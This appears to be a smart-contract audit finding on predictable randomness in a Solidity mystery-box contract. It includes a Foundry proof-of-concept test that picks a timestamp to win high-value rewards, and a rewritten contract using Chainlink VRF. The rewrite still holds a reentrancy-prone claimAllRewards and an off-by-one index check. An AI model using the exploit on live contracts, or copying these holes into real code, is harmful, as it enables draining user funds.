Use of block.timestamp and caller address is used to generate randomness, which is predicatable and can be used to get high value rewards.
This can be used to get high value rewards and drain the pool.
Adjust the setup first, As it has one issue.
function findExploitTimestamp(address _attacker) public view returns (uint256) {
uint256 currentTimestamp = block.timestamp;
for (uint256 i = 0; i < 1000; i++) {
uint256 randomValue = uint256(keccak256(abi.encodePacked(currentTimestamp + i, _attacker))) % 100;
if (randomValue >= 95) {
return currentTimestamp + i;
}
}
revert("Could not find an exploit timestamp within 1000 iterations");
}
function testExploitRandomness() public {
address attacker = address(0x6969);
vm.deal(attacker, 1 ether);
vm.prank(attacker);
mysteryBox.buyBox{value: 0.1 ether}();
uint256 exploitTimestamp = findExploitTimestamp(attacker);
vm.warp(exploitTimestamp);
vm.prank(attacker);
mysteryBox.openBox();
vm.prank(attacker);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
assertEq(rewards.length, 1, "Attacker should have received one reward");
assertTrue(
keccak256(abi.encodePacked(rewards[0].name)) == keccak256(abi.encodePacked("Gold Coin")) ||
keccak256(abi.encodePacked(rewards[0].name)) == keccak256(abi.encodePacked("Silver Coin")),
"Attacker should have received a high-value reward"
);
console2.log("Exploit successful! Reward received:", rewards[0].name);
console2.log("Reward value:", rewards[0].value);
}
Innocent users will suffer a lot due to this, As attackers gonna openBox that are high value.
Implemet chainlink VRF for generating randomness.
pragma solidity ^0.8.19;
import {ConfirmedOwner} from "@chainlink/contracts/src/v0.8/shared/access/ConfirmedOwner.sol";
import {VRFV2PlusWrapperConsumerBase} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFV2PlusWrapperConsumerBase.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";
contract MysteryBox is VRFV2PlusWrapperConsumerBase, ConfirmedOwner {
address public wrapperAddress;
uint32 public callbackGasLimit = 100000;
uint16 public requestConfirmations = 3;
uint32 public numWords = 1;
uint256 public boxPrice;
mapping(address => uint256) public boxesOwned;
mapping(address => Reward[]) public rewardsOwned;
Reward[] public rewardPool;
mapping(uint256 => address) private requestToSender;
struct Reward {
string name;
uint256 value;
}
event BoxOpened(address indexed user, string rewardName, uint256 rewardValue);
constructor(address _wrapperAddress)
ConfirmedOwner(msg.sender)
VRFV2PlusWrapperConsumerBase(_wrapperAddress)
{
wrapperAddress = _wrapperAddress;
boxPrice = 0.1 ether;
rewardPool.push(Reward("Gold Coin", 1 ether));
rewardPool.push(Reward("Silver Coin", 0.5 ether));
rewardPool.push(Reward("Bronze Coin", 0.1 ether));
rewardPool.push(Reward("Coal", 0 ether));
}
function buyBox() public payable {
require(msg.value == boxPrice, "Incorrect ETH sent");
boxesOwned[msg.sender] += 1;
}
function openBox() public returns (uint256 requestId) {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
boxesOwned[msg.sender] -= 1;
bytes memory extraArgs = VRFV2PlusClient._argsToBytes(
VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
);
(requestId,) = requestRandomness(
callbackGasLimit,
requestConfirmations,
numWords,
extraArgs
);
requestToSender[requestId] = msg.sender;
return requestId;
}
function fulfillRandomWords(
uint256 _requestId,
uint256[] memory _randomWords
) internal override {
address sender = requestToSender[_requestId];
require(sender != address(0), "Request not found");
uint256 randomValue = _randomWords[0] % 100;
Reward memory reward;
if (randomValue < 75) {
reward = rewardPool[3];
} else if (randomValue < 95) {
reward = rewardPool[2];
} else if (randomValue < 99) {
reward = rewardPool[1];
} else {
reward = rewardPool[0];
}
rewardsOwned[sender].push(reward);
emit BoxOpened(sender, reward.name, reward.value);
delete requestToSender[_requestId];
}
function setBoxPrice(uint256 _price) public onlyOwner {
boxPrice = _price;
}
function addReward(string memory name, uint256 value) public onlyOwner {
rewardPool.push(Reward(name, value));
}
function transferReward(address _to, uint256 _index) public {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
rewardsOwned[_to].push(rewardsOwned[msg.sender][_index]);
delete rewardsOwned[msg.sender][_index];
}
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
function withdrawFunds() public onlyOwner {
(bool success,) = payable(owner()).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
function getRewards() public view returns (Reward[] memory) {
return rewardsOwned[msg.sender];
}
receive() external payable {}
}